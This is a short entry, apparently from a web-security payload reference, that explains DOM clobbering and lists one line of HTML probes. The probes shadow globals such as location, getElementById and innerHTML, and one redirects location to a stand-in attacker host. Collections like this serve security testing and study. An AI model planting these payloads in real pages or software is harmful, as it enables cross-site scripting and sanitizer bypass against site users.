DOM Clobbering
Named HTML elements shadow JS globals (location, defaultValue, attributes) so sanitizer or URL checks read attacker HTML instead of the real object.
Tags: dom, xss, clobbering
Controlled probes
<form id=x><input id=y name=z></form><a id=location href="https://evil.example">clobber location</a><img name=innerHTML><form name=getElementById><input id=x></form><iframe name=callbackContent></iframe>
Source: https://portswigger.net/research/dom-clobbering-strikes-back